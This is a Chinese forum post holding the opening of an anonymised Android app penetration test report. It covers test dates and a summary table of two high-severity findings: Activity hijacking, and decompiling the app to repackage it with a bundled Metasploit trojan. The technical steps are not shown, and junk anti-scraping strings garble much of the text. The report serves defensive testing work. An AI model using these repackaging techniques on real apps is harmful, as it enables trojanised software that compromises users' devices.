找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4716|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
" ]3 C! a& F0 b0 O$ R; F: R {; M6 E: {' g" ]" A7 ] }0 a5 l/ {/ N

# d; N$ R( [) A: n * H, | D; b! D6 [# O: Z
/ L5 j# `; {6 D" Q! T" v; _4 S% ]& F; U

" m: Z$ B! V9 q. v U$ C5 V; E) Z9 _2 o/ g: e
, K" j+ \6 f! A4 ]- B- v" H' q 3 d. w3 u) R- B1 Y# K: o# f' O

0 a# l5 `+ u# d2 H: w0 g/ j: e# t( {9 H 文档编号:                ( F! }- r9 q# z! O1 F& H3 T& D* m6 r8 P0 ]$ v( e) I

; m+ G3 R/ X6 ^: S + Y! [0 U o$ L

% ^* m* c+ C! h/ G3 W; R! c1 r) d3 j' a   $ \" \9 O4 T) }$ I ( f2 }* k6 ^. Z& ?+ a

' ?% x: ^+ O4 w7 |) V# U # F& s5 N, ]+ `! M$ J% I

, X8 [1 k% C" U9 {( X/ n' x* t4 X$ I/ A \   / w5 t, B' G( F+ U0 M. z- R " {' b. N _1 \

, t1 x. K! g7 Y; V 5 ^5 c8 ?8 F& I) c7 N' m

. {9 T! [. [$ f% x/ ^- r- i S: E3 O: w- f; O9 ~   " y$ ~, E" K0 [5 a' r3 j1 f$ A* e9 Y 2 A1 S$ n# U) s+ G- R& X

2 j: R( k$ X1 G) [: k7 E " J' J. s0 F5 T5 b

B5 |7 e" R1 |1 l2 h5 \* d9 Z B+ ^% @8 L3 z/ T   6 _& M6 p3 t0 s ; C" H5 F+ X3 r" m

+ T) k2 v& [8 {3 S, M ( z; F9 L B' t( j1 H) d

) H5 O+ t/ V! p- ^+ U, N9 ^* O: J# K; I% `6 w. U   & C, ~5 U( ~ ^. Z$ A! n3 p. v + w8 w, g) l! D; M( K1 K

/ d; j3 R& E3 G b4 [: T! [ + Z6 |4 N4 V& @+ k, A6 m

4 H' j6 r3 Y7 S% }- k! \0 I2 c1 {3 F; A7 U8 F) f 某某某APP渗透测试 3 P' X' ?) j$ o2 X - e* a( E3 e! U& v/ |- E# `

# t3 b5 v7 l5 F. _) W 0 `# K+ Z) [% `- G7 }) I

" a1 t9 `/ \' c2 j `( s% h , x" l# `. i" ]1 K9 |6 e   8 w6 Z4 L3 |# F+ P% d 0 T( P' h+ `, s# Z

9 m/ U- K7 u3 X7 o # ]3 Q2 v# r; [. a. D

) w$ V/ r7 j+ r9 h/ p3 |: T: `8 g/ d4 u2 B! r   4 M; P3 p. l/ Q, B' o( j , V& H+ R4 q5 K" \2 {- d, `0 E

0 N4 Q) w5 d, _+ V$ U 8 |* B' P. e) U5 ?

' D5 s6 b/ f% _$ N, u) x! Q* ?$ d: w! o; W   0 W, _1 r/ Y+ o- t5 d. S# x" f0 c% y) _! n, F9 J

) G/ Q3 e4 Q# I7 i" m8 Y4 W, _, ^' Z: `" [$ q

) I$ N2 P/ f+ A) T0 v O5 n! i& ~9 t# [( ~6 O1 _0 D   # G; J- r$ P; W g0 V ! w0 a4 g# f+ J: R

Q5 N& s J* ^! A+ @ A . x; o% y; F* w" L. q

, O$ p6 R# q( W7 p ; k+ t5 D; Q- T* l5 z) W5 @5 [ 技 术 报 告 2 `; k( X. |% L M( u" ]9 q, ?& g3 v6 s2 e

! M: |/ J$ ]3 l7 X ! j/ ?1 v! A! K1 A8 c4 T8 Q

5 Q( J, a( W7 p # s! N9 x/ ^1 g3 i9 u+ s/ a7 G; R   # c+ C2 _+ ]3 ^: ]; ` # S* C) l7 q3 S' J y3 q

0 w) `0 b7 ]; `1 Z2 G ) D( Z' [7 p( h4 S4 {$ ]% b$ [

3 [/ E0 M% n6 D( ^7 N- R " L. Y: P6 {( G" O% s   ! |/ {8 l( S: f0 m6 ~, o 5 A3 S* l2 k* f# n) }- D4 X

( `" z$ {; F1 l0 p, ]; H 6 g( }9 M9 R1 I( O4 u0 @

- F1 C$ b. O9 g: d5 X0 W * I6 P! F9 j, W' t7 m5 F' a! V   ' U& F- G* l% S9 m - _, M$ h. t) q, p8 Q. |

: _* l s- [1 E% b9 H 2 l4 W, R" J& D4 ]: P& [% H3 T

- Z7 k$ `& d, r5 Z9 j- p4 ~ 1 M/ _/ q* j7 G3 O9 D   ) z8 S* b1 s0 I( b0 h 6 ~! d+ A6 N5 R/ @' u! I

8 m$ M1 |) X' F; P1 F1 l( o* S5 R- w( H

2 L5 m* `1 Z) d, ?9 b3 a; _ l N! r, @3 j/ N, R   2 t2 o% |( }( y8 t5 Y + x1 B. v6 g( V! o4 Q! ^& p

/ }1 c! M5 _" Y- S, I7 T& @ 4 }2 l0 ^# b( \9 C7 A' V6 m

) q M3 d9 L( K * B" [4 q: T% \& r/ ?3 l4 V, p/ o" }   * V9 j3 N9 Z- R, R0 Q * |) l* u, L9 u3 D9 N% [

! h" Q( n% x; a" n. M # j) A$ S$ C/ D* Y% e! o8 ]1 S

% J7 p' B' ]+ M. g0 ~# N - h( j' ^0 U$ [% [8 d   " e9 c: N! q* F/ H2 c: f# | F / y0 z B0 u2 l/ C8 o

! R. {. R5 ?7 C% ]3 j* r: y 3 l" V+ K3 G2 E/ B" U4 e& W, f; p7 L

! L! v3 U4 D5 ~% p) L; @8 D( a5 `3 ~! e   # j% W: [! L5 j2 v* X( j: M7 _; \5 ?- \# T( S3 T, c, T8 G& r" z

1 ^3 w8 v0 w( M6 v/ c, N7 m2 Q4 |

& W3 f/ d+ T0 A2 L; _5 z " j+ j% g8 e) ~* g   ' s+ j- k+ ?! A6 K , l# S6 Z p) J4 I

2 P; q% z- m0 y9 L0 }" Z0 t , S: a4 @( h7 u" ~1 [" i

! f& N% A1 u D; M( v+ V! U) \ ; d) E) c' a7 p! F: N% M   # I8 A3 K" d T. _3 }6 W- q2 ? # D) N8 S: z8 J* Z- J0 k

1 r. z2 n k( A5 X8 s8 _" L+ q* E2 W$ v, z% z# O3 E9 I

( w5 c) }5 |) \ 1 S; k+ W& \/ f& v0 a   % {9 t' T9 k+ k8 [6 A $ {; r) }4 D, m

! e7 q# k# @6 _2 ^$ | & w: @* Z3 M \0 @# ], o2 V

; L) f# v& y# r1 Z6 c/ F/ d7 K, | % `3 m. P" c) S   . I# F, U1 x9 L' `( Z/ ]. X % j8 n9 ]7 S, Y0 W

( u7 K8 y# ]! u$ \: x. Y' a7 o" l. n5 m' E& Z2 [# u

+ r. H/ k& Y5 W/ P1 K1 k # Z4 ~& j# ^, j* d8 G6 R/ s3 U   * K/ ~$ p$ x* A, F1 y# u6 ?" B) E# T8 v

$ ^% X: I( U: t6 _# A ! B5 M% M+ V. H3 R1 Z: w# O+ K7 J

, i. N+ U' D5 O+ @+ Y + n( F% T9 H. W" `: D; c   $ `. a: `8 y9 ?& k3 o" a 1 e( z/ O+ A! u1 c# c5 J8 E+ m

! s: Z( f I2 u- C; m+ f! |" k, `7 A* K9 C; g

" H4 Q; i8 U& l4 }+ C1 B 3 o2 P$ U& [6 N. j j. c& Z' v# p( d   0 k" [9 L7 Y. ^ 4 G4 j& M% v# r/ T

' q4 c& Q. ~ |& p* g 4 w/ M m. ?* d8 e3 }

! P/ {% L9 X6 o* k& i - I8 P0 i% a. p: u5 m   7 A" C7 t4 c- b+ j7 d/ m" {( j/ u7 ^ 7 {. \% v+ }% O% N6 i% N! _

. R; p2 \! ]. u+ y$ ^/ f 8 J' L7 R7 }: {9 j0 q( x( M

4 |, O4 n: j ^+ |* g2 X, ~+ a 5 \# j. d% h5 y& k7 n1 V* F' Q   6 _" \3 e* j; X8 _. k * I. R$ j% _ s3 y9 p+ ^

; N1 W' t3 N* A+ A* X. O0 X2 [0 } # d( V7 U9 L" B7 V. S+ V

. }/ |6 v7 n. K4 A 4 n b$ K9 |- h6 B, u' R   ( s% y# G E0 I2 G E" h. [' X' V- }- S, H; }0 ?- A! J

) y$ K" u* d+ L# {, ?& ^6 s3 M 1 B7 g& J( `' \9 o; B9 ?5 ?

" [3 }' A) d! k) X; m6 y$ ~- G n$ L W/ [' e 二〇二〇年 ; a0 c( u! L. r) G0 K$ \$ b+ y! a; B$ U( t* [$ ]4 e/ S" }6 t( R' N" [

' M! N; H. Z" J- u: a" b* _2 x" H. f' h5 N5 V
4 f% R$ N& ~9 v9 X# \ ) D8 v M# C7 f, {
. c% }: G: E4 J5 T3 \ * f8 K' q& c# d9 q8 \
+ P6 H% q: J7 X 2 W/ z2 p& g+ |% I2 A% T
2 f' ^4 p! t9 K- t `" n. { v % o& v& K) p, [) |! {5 k
* a& X8 M( k0 S g* r" b6 D; z4 z r+ Q2 l' ^3 n# l/ L) e
( }( A9 Q) [0 ?) \ 6 o! E' X# G+ v
t+ X k* O8 {8 L9 {) z9 m8 S 5 W. }# L C( w
) `0 o3 ?' O& j 8 y8 p5 t7 b, q: {6 \$ W( O# H0 q! I

7 s3 l# a& ], R% `$ [ 7 Z' n5 t0 c$ d5 {- q 目 录 + o7 r) V/ N. ?; z: @9 Z$ \/ { # ?. P! k" c1 O k" [0 d! X# f

7 o% @# S5 F( u3 O* Q' z. o 7 g" y8 W+ j( Q/ Z& }( h 2 H* H! {) { u! j4 L0 K8 t" ^ # ?8 E/ n6 q6 n; j

3 p! b3 q. T3 H, M" `6 ]; A9 U4 ^) y   [1 i* g8 @7 Q U 7 U6 a: |( I* U4 d

$ n- H- V* V! i2 D4 F @; D, O + ]' X' D$ E7 I9 |: e% E4 z

8 H! B8 h0 o# h. B & N- [) T$ {; n3 i8 ~0 a 1 概述... 3 ) O/ o8 S" d8 u7 s+ {1 u' R2 ? U G$ B5 L! e% Q( O( I

2 Q+ \5 _+ | @3 ] 5 v7 T3 F8 W& s1 E

/ E2 D& Y% p# P8 ` _- e. T9 Y7 c9 b: {0 } 1.2测试时间... 3 9 |2 L) X" i. ]& w& A6 N9 F- C ' j1 Q8 ~. L' ?$ y1 N5 Q8 l

! D2 ]/ N2 d9 q O 3 ^2 i0 u3 P6 z$ c/ o4 O

6 e& i: Q) |( `; J& u 6 V) e/ P% h& \. |, W0 [2 u) @+ o4 I 1.3测试对象... 3 . r* p- @/ X( B* Q E# i( y% \- B/ l! P0 _* [4 }0 ]8 i% e5 f

6 h1 D, j: x1 v( ], [- Z: e- I' V. y8 F3 n$ { ~+ s

" M; @* f4 W6 g$ w1 Q+ k7 m ' |1 M( v# ~/ E* \0 u, M- u 1.4测试结果... 3 3 v$ S0 R. _, |8 h$ H 4 {! A2 Q- Q3 P8 S2 r9 s

' _& p) m0 |( y2 q) n7 [- S- c ; }3 d z5 `2 A# o" I" k& z

8 `$ M t! w1 s% N& b4 r $ E- D* e7 v1 {% o) [/ t! B: H 2 检测结果... 4 . P- e% \8 k' k# ^! B9 Z * d( P: {' m8 Y0 J* S; n5 y

. @/ \6 {: E8 I d3 m5 N# d8 `4 m; r- V; V5 r3 z# S

2 N) P7 }& m1 z + j% ?6 H! V9 J 2.1 某某某... 4 7 s7 S& o4 F/ p) D& P& V. [2 a/ a0 B1 ?6 O% Z, I

4 x- O! m2 T# U% p; u8 R2 ]6 M4 L$ \3 H; o, D

4 n' l1 K! F" D T9 d- k$ M 3 C! c& C2 M& _8 y8 l 2.1.1检测目标... 4 " Z6 ]6 L' i0 ?0 @) ~5 b( G+ B8 l1 i

2 t& B4 R3 L8 x( ^4 z5 P* R' E4 V% }$ L' ~

# a. H4 A. j1 J3 |* f! _2 N9 ^/ r' Z$ o m! z6 Z 2.1.2检测结果... 4 6 S# d* J; e6 B T 9 |% A( [9 P, p. h8 _

( p; L+ |) e8 L8 k9 p3 R2 p5 C' X& T2 J* J$ c

) \5 N5 y# G' i1 W7 B5 x! o6 z . N. j0 J, i+ |* n5 t9 Q5 |# h3 O 2.1.2.1. 4 " U4 e" Y( A( `# Z+ y) g2 [4 I Z' k8 M' G1 N c ]# G, ^: i

: n3 V$ k/ P* ^* d # K( ]) ?) m+ K% @, ?9 ?/ g0 Q5 o

4 \1 k8 O2 P6 \0 l: V 2 x4 K0 K4 x& g# A3 Y( |! A2 s 2.1.2.2. 6 9 t" m& V, b6 Z Q) e5 U$ i9 d, l7 A! x

: {% z9 `8 B; [7 T/ R7 d 0 K% S; O& f$ C7 T5 R! d* ~. w9 v

+ L2 E3 [/ j# W+ [6 r) r7 F - b. F9 h7 {$ S( y; T8 c' I 1 K, {. ~, v# Y' U& E/ I# S & z0 A$ y- E# x) L' J! L) c

/ g s6 T0 V( P # N5 l/ T& k& N. T
+ d- j" v4 N! d% b& i; w& `8 q: w9 ]9 L5 U8 ?0 R* ]( v
1 j3 L7 W0 T0 i; \3 O7 c 7 g9 L2 T& Z5 d/ f% V
: Y" X7 S: F; L) P# \( @ ) d/ \/ l8 E* O0 ~0 p, }+ |# A
! I- V; R. N2 [/ A + G9 N2 o/ E0 f& @! @

) u. M* z; T0 J6 ]4 d 6 _1 c9 Z/ e1 k, s' x 1 概述 Y) T2 o/ D6 T- |, ^5 ^- Y ) V% ?& Y2 C" ]' w: ], k1 M+ Y

6 Z( }+ b3 p! O, o: h7 V4 d+ V) M' ~6 r

9 |* _0 V, w# F( I7 h/ L 7 \* @$ X, t9 \2 u7 [, i 1.2测试时间 5 N8 S2 t. K7 q9 q3 l- ], X. i3 ] 6 @4 A8 c# t; _, M! l

2 x) r2 ~! i. b; q) E3 y # r) M( j( B4 V" d$ S4 W+ O t7 D- {" [# z3 m% n( J( ?) x. p0 U; b4 u, A( t$ [; m1 _, Z* {& r0 [0 v" f5 h& x! N8 W9 C7 B% W7 K5 f$ d8 u* f4 F( |& i6 p7 l) z2 N! e! J8 T, d/ T* s% p6 _8 s2 Y* i6 x) n% v- I# F8 O6 G- U; X; ?; u9 J6 f2 B L& \) B6 J2 X p6 d- A* I: `8 u# f1 S; b/ s+ d4 u, M. Y7 g" Q: F+ p2 G1 w6 b0 d( K4 m0 h2 e9 o7 J5 V5 z# t. E+ q( }, {. j% s2 ~+ B3 X) \" t0 a7 f) w$ |3 p1 d5 [$ u. R" E J6 `9 C! B- Q% i! f2 u: ^$ k( t9 ^* _! E; |0 U8 i8 T; \7 s5 K0 p; E- Y/ d9 a O7 Q1 j+ ~! ]# J4 L: k% Q7 s* J# J9 ~; j/ v( Z3 O- r( {2 C7 \) F6 ^+ l' c Z2 Q) @$ G$ L: L' b# F! w1 O# z9 L% j# W. M8 `% O% a5 ] ^1 K1 W- L# {# ~6 ^# n( @) b; B) j9 |
4 E: }1 m7 G: ^ ) J, g) w' |$ p. k) N1 z9 x' ]

! I8 g3 S' j4 X5 | ; I% I. v( o# L6 q: A. a/ ]2 j 渗透测试时间 . C$ `( I0 D/ P9 {7 { 0 Y5 K% v/ Y$ b& r6 k

6 ]$ s4 p% m+ |- F " E/ s u2 T9 W/ f
* S+ }, l; r& D$ `0 z( B( c4 b$ _, l( @3 I O' u( x

2 N$ F3 e( Q: b# j" O8 ~# M6 S2 j) g! u4 c+ i 起始时间 - p6 X* w- C/ o) a 1 w, c" Z& I* F& R# f

7 f: w( |+ {8 I. F8 O7 X& h ; j- q) R; a/ }: h
8 `3 R3 d1 `. [9 F% \# E# c $ D ^* d, A/ ]1 O# V) E

' [& V' Z8 d( S( f , w, Y# r: k! A6 Y. @8 \ 2020年4月6日 ' t* t/ g2 c& S ! p7 X8 |; Q# k o! r8 {. l0 n9 I

& z% q5 _; M( W4 |) a; W" j * q/ S1 n: C6 G& N& y
+ f$ m! b. G7 N6 M4 g0 v A 2 e' {5 h! F0 V8 C

+ U" p8 g4 s3 [0 c & N/ o2 w' [' w3 z, z/ a 结束时间 9 r6 s* F8 k4 \; Q) v5 f2 f3 ?; k! c( h/ n. U

3 R; c! C1 r1 u* X; X 1 q: V5 d% U* {% R" Y# _
/ a3 ]+ ?3 U- W" D) e" o8 u/ S2 c& o4 L2 | Y5 g/ ?% A" T

, g* g) a' X. {$ Q* w* ] 4 }1 V1 ?. g- D! \4 j 2020年4月9日 8 g# Z. K6 A! I& _' T & a# z2 K8 m& `4 b' M

6 u' b/ L" U+ B, K, e1 Q7 D - c$ e# j( z2 Y
7 T0 z8 Q9 @0 I7 U9 o% X5 [% d, H' {

* [# U9 W% e- o+ o V$ A$ f& P6 n% e" x. b7 M 1.3测试对象 ) h! G$ J7 h2 n/ h 6 n+ c7 i2 T3 d' @% O7 ^8 `

# {6 ?* s' q1 m. ^ K4 k. b( v5 w8 h L6 a

+ ~6 p5 r6 n3 E" f % ~0 e& r2 c, ^ 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 2 V% J3 N7 d( [ . h* g: |% q$ @4 s

W v1 O, i% N % _/ |/ p, `( N1 V

2 _& P, ?9 {( G; v/ o) Z2 B |; x; w6 z2 ^: O; v* o7 _$ w$ [+ q 表1-1 检测对象 7 q7 A* X6 P& e3 J, @" Z' o) G8 \5 p8 e. T

, T9 Q+ D' Z1 E1 x& o* ^! @$ }" B4 p0 w* e$ O ) B3 A+ o) H& ]" o' E0 L( G2 A; t; @" X8 v9 U& x) p) b$ y8 e4 Q9 D! ?+ n" S6 I' @' e) `1 m/ ]# h$ Z) ?" H' h: W' z! Y& a1 K# q* P/ b# Q9 a" S$ j, ?0 @% I A1 g5 \: |6 v% U+ x! d% W+ T7 Y0 I$ }7 p, f. U& H7 m, [ p- P% q1 a1 x$ h3 p j9 o6 Z3 k: K6 v3 d% x9 [8 a! m* r8 I5 }' N; |* y3 K. r( G, }! X5 T. q9 h. E7 `, a$ u7 X% J$ }. I/ W0 u' G- w3 `5 \2 j3 r6 U8 S$ U# y5 ?% }) K1 y2 K+ @# N6 y$ G- e6 c7 |; \+ y/ ` e0 W# {# R, r: O0 L4 L! Q1 l/ d( p- H8 e' U& D+ y0 j! t1 s3 J1 G9 T' `+ V8 i" U& C+ W( W- Y4 q, ^7 t& t5 i- ~: G% T; F6 q5 D2 w! |( e+ K J/ C5 r/ ^! ]) d" f! n0 H6 ~8 Q0 u6 S6 u$ R4 C. w) _& V$ D1 {* E5 n( z J6 d+ P x( z. k$ q4 I0 \, g3 p5 A8 Y/ {2 ]- N1 Y" R4 E' y+ D/ Q. k# r: U
2 _; F# @) I2 T . I0 t5 E1 O: R: J- j

; k0 V# g7 u9 K6 k; w' P ; ~$ ^ H& X! m0 g1 O* q" B 序号 : g( W$ B/ U# H6 F ! A( l) u7 D( [ `7 w! M

6 B$ j K2 E e0 Q# g/ ^/ w% G/ ^# m: Z; `9 {
, b& w% a. _0 w# m+ j 6 \/ G8 l5 c+ y3 E6 u

/ J! l7 _2 q0 E5 v# v6 E $ N( C5 B h7 o4 k7 `1 J, U 测试对象 7 ^5 S8 R5 {% e% ^2 B 6 V0 F. z5 C7 q8 h1 l( D

; z5 R4 D% k6 P; n9 T: q9 n 4 _! k0 h: f' E* v0 M# R7 ?
7 Q9 ^) V$ k% g! ^) A d! \" k 3 L4 X r4 O3 o; n, F, f

+ J* D$ m3 C3 K ) u, n5 w4 Y" o' p( S2 o 测试地址 2 f- B( }; {! K # t) S3 N: H) f1 \: r6 J0 r5 [( h

4 c* @7 |7 j7 R/ i, `7 {) x - G! v) o3 p, u+ N3 o* U
5 w$ U' X& h( V* l' X+ k# R9 R/ k5 I* V! W6 s4 y, `

: j9 o" _5 e/ _! I - G6 o; s% n' H: @# h: y 安全漏洞 . Z! z9 d! v9 M8 v0 M 6 f1 Q: |8 Q( C/ V. m5 O! H. D

4 R7 Z. B9 d# p) m( x - B4 a& S1 Y3 H9 N$ L+ n
+ R4 u6 N) d& I8 _ ' M4 z7 P2 U: D A4 h

# x x% P6 a/ ]3 c& ?- h3 q9 S# @# o2 |% j3 J. q 1 5 h8 L Z5 L3 v& u* p6 { % t/ p' ~ m, A9 @6 ?9 {

( _* z" W2 P# d* u 8 a, l9 z# P1 g8 z5 @/ M6 x& p
$ M- G( U: v+ k ! S2 k& X% B; t

7 O' h/ U0 c. v+ q I; T) ~/ M9 b. N: G7 O/ } 某某某安卓APP 1 x$ W/ j i1 Y4 }. B& m # n3 I+ t# C4 m* b

7 c$ P7 O( c& U9 g, h. r% w" d3 b+ B$ x( g6 q2 [1 _. {
4 c. `- R/ f" ? D1 j4 s) }, }2 F ) z7 F- z) Z* }

" G5 `2 i8 }9 Z* t) A) U& X : c- Q5 V1 @1 }. H1 t# G& W   ( w ]4 i! M7 x( l3 u! |* W 7 b% y5 H# _5 y% I9 J3 G

" |! A( ~2 S* k' G3 e4 i5 ~3 l1 }7 _, z8 M
7 E# m) [# o$ j$ l 2 D" v9 H! p1 |

4 r/ ^: J9 r2 x$ y/ O - K. k- ?8 G$ m5 h5 [. } 2 2 ?9 s- R" D1 Z: f( _2 P- x $ y2 T5 Y$ Q) b3 r+ _

# y3 U9 j- d* z , X) X8 K, M# v3 H. F5 m
; n+ z1 `5 P% M; y9 f ; g+ M- B2 y% m

6 x( T4 l- T! Q+ s. u4 T, y$ h - i7 |9 Z1 l9 y1 S 1.4测试结果 8 Y+ F" C, X$ y9 g / p4 N* d& i2 j) L

- q" ?, p% j2 E+ k% `( P0 X - o4 _4 I5 [% E* v' T. s

" l, O6 U+ c0 k3 e" n 7 o" ^( p$ F7 U; i. W2 A 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: * |: M- a) p) b2 u7 I+ z) |) w2 }* T! f

' M' C6 v# l0 R * v) n$ s7 t) `

. v* ~5 a7 p! C 6 i1 X: v. I1 _+ H1 Y' n5 D4 o   # O, S7 h+ O5 A8 J) C% \; b! C" V# H# L8 \' O6 v

* u; l! f( ]6 S. N & X9 m- S2 W7 d
' E) W1 s: W4 E- p( e$ { ( B8 g) P- [) y7 h; o+ a) c' P # {: C# d( q' E' b% n7 L ^+ F6 t- x5 E( S, p4 M8 s. |: J1 k) s4 B2 `# G9 C4 s; ~9 j, a" W8 Y! l% D* O; m6 ^$ o8 ?8 s) m* B, E# w3 C8 J5 K* N3 p" ~8 N4 e) N4 p0 X5 Q/ L0 j7 Q" |# e- X. m2 U/ Q' F! `# L; `+ E9 K+ W" ^- s+ |8 j+ y4 D# H2 j/ `6 B- M& b. S+ S, _% |% t4 V; j) \: [: S. Q6 t( X1 _* o1 Q9 F# ?3 O- I5 S6 Y3 F$ z) F& y" ~" F2 b5 y3 Z6 u/ b: s% l+ O5 W0 J/ D* F' C6 `, s% E7 z0 t. v& P3 C# M. x' R6 [8 V3 p, ?0 w- O9 [* B9 c8 s! W" }8 u* A$ D8 X% m# v7 L! _# _( z) c p! _+ x1 P! D9 o1 v% b3 G- F- S6 L g$ ?2 I; v/ C/ Z2 o: h+ ]( i, N R% T$ @6 N# @( n, P7 G" X+ c5 |1 o O8 D) l" I. y$ }4 l! b; z4 W) q# e8 J3 }# V" @9 `! b) H4 R X! I; w6 t+ O$ V# C" h2 H3 y5 Y# `: ]1 X( r6 b9 |# X7 Q1 _+ H& Y+ D0 O. t9 T4 g+ C2 I3 M! a' [3 K, j3 q+ `4 k. q* e B5 `) I& A% K' J a- h/ l7 M+ B7 x+ L& ~0 E: h- a# ~5 e& S7 y4 d0 l4 l; Q6 |2 y/ g" T, S! u& D, X' [- U, {6 N D+ g- y3 R% P$ h$ |% \ l0 x, T% ~4 C r6 K% v8 f) l: m6 d% V) b) s& U# C, c! T$ d9 I7 E: A7 u7 b. `+ u$ _5 |& ^9 z _1 O' B( n+ D5 D, s. j* V. l. I0 k+ l: }* t Q* u6 k5 A! F* P7 |$ j) I$ H: m7 Z9 @1 S0 V, c& u8 B7 ~8 x; }! f- {8 q9 _; i+ [5 V8 r" C# H
. z" a! w& A. B" } + }% i6 V7 m1 @$ i! D; k

% K% f1 ^) R1 l- {' q- o ' s4 l5 y/ M4 f4 S" l 序号 . L- D, c, o1 l) Y1 W L$ J, i5 k' Q' ]8 m w

) K7 |: C$ W' L1 V) s3 t' G' j" }/ `$ ~. ~3 p
, g" x) Y% w( q, c4 A' O % X4 W/ c7 W) N+ v

0 u9 G/ X! ?2 r ( {5 L8 L4 k5 i1 Z' o) L 系统名称 % Z E2 U Y- e5 o- W3 T2 c 4 k' e0 g' d7 G9 |! k+ x! Z+ S- w

& A. P: s0 e/ I5 I3 l0 T5 ` 5 G' h& Q; \; s- X' f' q" L- Z
o. B% i( Q* O& n : W/ y' c5 P- h y% W

6 Q) o; i! y4 i9 g# x a5 n0 d# i |' g$ M/ Z2 y 漏洞名称 - D; s+ B& d4 b5 K" m0 {, |$ i! X* H6 A3 `# B

4 Z3 t( r& p$ ~$ b3 j) y; S0 K( P2 ^ . k, c9 a4 `. K# O) o |4 Y& O
" b) m0 Y9 c. o 9 M" o {0 I% U1 L4 S- v3 w- Q6 A

1 ]& P. x4 `; ? a9 @/ Z 9 g! N- o; J5 l# | 漏洞危害 _ r3 \4 t# N" Q. }$ x8 X! [ 1 ^$ Y/ Y. O4 _. W. [5 E( k

+ w W' F. N# C- t+ H 0 f* O3 o8 a2 L8 F6 y5 a
7 I9 \& @/ Z+ @( N& A2 T. O 3 g/ {! N1 Q' c! ]0 W

- U) _4 U9 E8 R 9 r* D* n' Z1 L* f 修复结果 * M8 X$ ]8 S9 d4 k- E) f, K+ h# R% H5 j- o5 }6 V

. y* i+ a7 g' |; G3 g Z+ {/ r' L3 C b* [8 ~+ e5 M
* m, R' T/ H6 T9 ^1 F4 H. o1 D " `9 W, N8 S) u3 p6 D3 |. E9 C! d

6 h' i5 c9 q4 l& R8 G; Y& B9 A 1 w) E% M% g# s' A 1 % ^* [- x& x k9 b' O3 F9 _ / ^& ~2 ~ g! Z! F$ V

3 M" f' w% W: `) N& Y - |% [+ Z: x3 ]0 h( @4 |
9 f7 J6 I8 ?7 X8 G7 Y $ Z$ @# f! G* s% P+ w

% d, z- E8 ~* a) e $ H4 y9 r+ ?1 e# U n 某某某某某某APP ! @" Z @, t1 o$ X2 F8 o7 {" o* J! ]0 U3 _0 ^- a

k E7 g& F& H9 `) s) {- M& W 0 F4 ]8 s. O P s* f( n$ u; [
) l9 [) Y! h! I8 F, E1 E# O & o- I9 ?! Z Y/ H x# j

3 P R9 j7 s) u! u3 I ; t8 n2 t8 E" L$ ~& O% v2 C0 w Activity 劫持 # o3 R" M a' ]1 [* l$ Z) F 4 d* ^% A7 L8 I# P

8 W! K4 [+ A# r9 `; `6 C2 v3 I2 i5 U, G& a, b2 R# T( Y5 X2 \

( Y: y3 e. U7 ?2 u % N% n! x( S' Y m/ f& c2 H   - x- d$ D3 N; M$ i0 m% F% s1 I + C# S+ N' H) x) H

. t4 h$ i( r# V- p % o+ A- @, |; p3 n. [: r- w& h
* z- Q) F# e0 `3 Q4 D : A* s1 C! q# E \( Z

$ m4 s; h$ X$ o0 ?) s% y$ [( m. l) N" V / n, g [. A" w9 k1 n 高 * I5 J) Z* ^4 W/ k8 D4 k! A+ ^. i0 Q 5 p. w0 R5 K& ^' V w. |6 v

6 s( s7 k* }. V8 W+ e* i * t' M1 t5 i: P8 o4 `7 s2 T0 c9 ~
g$ o* J4 h0 G. g% U % b) k& q" h1 m( R8 \

4 n6 n0 y' O6 h! Q ' k! M9 g. v3 U ~1 z7 g$ Q   4 h2 e m( i8 k6 x0 k . o( C* D h& n# f' a

3 _; B. z* y; g% |% X: p& H# Q & E' v5 Z+ t& @
) n1 f6 e W$ ?: [7 K- V- _. W }5 i' y5 S& a( ^

1 ]# { @7 Z/ a & A8 _: W" h9 ]9 ^% p 2 & z7 p6 K1 N) [/ t+ G* g$ o5 `; V 3 _! R7 ^# T- t6 b

, S- L" G; S! d & i( @% H- `) E
+ s/ L1 ]' }/ W " A- _! |3 Q! x

8 @; o% q2 W# @/ {( D! p & T. |( Y4 Z; t0 m+ L# y4 | 某某某某某某APP ! L+ i! r# d8 w& [% [3 g2 P u% o! w' [8 m$ s

$ _4 Z& E& M4 ^, c0 ?: Q4 C* V! c$ P, H3 n1 A) x7 h E. e* z/ ^% j
4 b! A. A1 }) e; Y0 q3 X$ x! S2 T4 |4 B6 g0 E

: T' P P" O6 C a. l+ T) E6 o" k8 n0 ] 反编译二次打包捆绑木马、篡改APP代码 5 D7 a) p! ? t' C! @% [+ E + Z1 d* B* g2 K2 ?. K7 ]9 C

9 C4 [$ R* \. N9 `1 g + A) O" Y$ K( w
! `% n& y( a2 j. I8 U: S7 t. a( W# K

2 O V9 b6 x: Y9 x: k: P7 F. b& E / `1 z) i& @ U" J3 M5 e) B 高 ! v4 C4 D) `. c( ~+ b' L8 B + j+ P" k: x9 k% I

5 Z1 u& R' I: S& M) \9 b* B. g 3 _; P! j+ ?$ \4 V! p$ w# A3 T
y* A y% ]7 m 7 p% _! W" Q7 a- H7 l3 x+ \/ l

: c; G7 D8 x9 C 8 q; ^ p, q7 u* V6 z   + }. j- H# e; ]+ D7 m - v& i- \$ B {& E$ z

5 q4 t! a8 U. ~5 ^0 \ S6 B/ d3 f9 b' B# x& ^/ P
- E7 e8 {3 g/ ^( M! s. M+ x- y% s7 \, s# ^$ Z, G& O) L/ K
; [6 A9 E- s8 s. {+ H! R) c! e : P; b0 h' [+ D% [

% M2 c; N- j' ?) {0 T ; @. `, x$ ?& H. Z/ K% Q2 s9 t8 q   5 v0 _0 J5 [3 ` P) j8 @0 Z4 K7 \) Z U9 o# {. @

4 h* d" J& Z3 T E1 x8 s" }! ~

5 L g+ Q. x! Y$ n7 H( j . c1 y6 R, ~0 k( n1 a& c3 ] 表1-2 测试结果 ! S p2 @. D# |/ ~ + {( |/ E+ s$ U6 h2 }' e/ }' b2 V

- |; Z8 ^9 |3 O, r; A% G. b 4 S- s1 l* X' k$ ~& i( C0 o" N

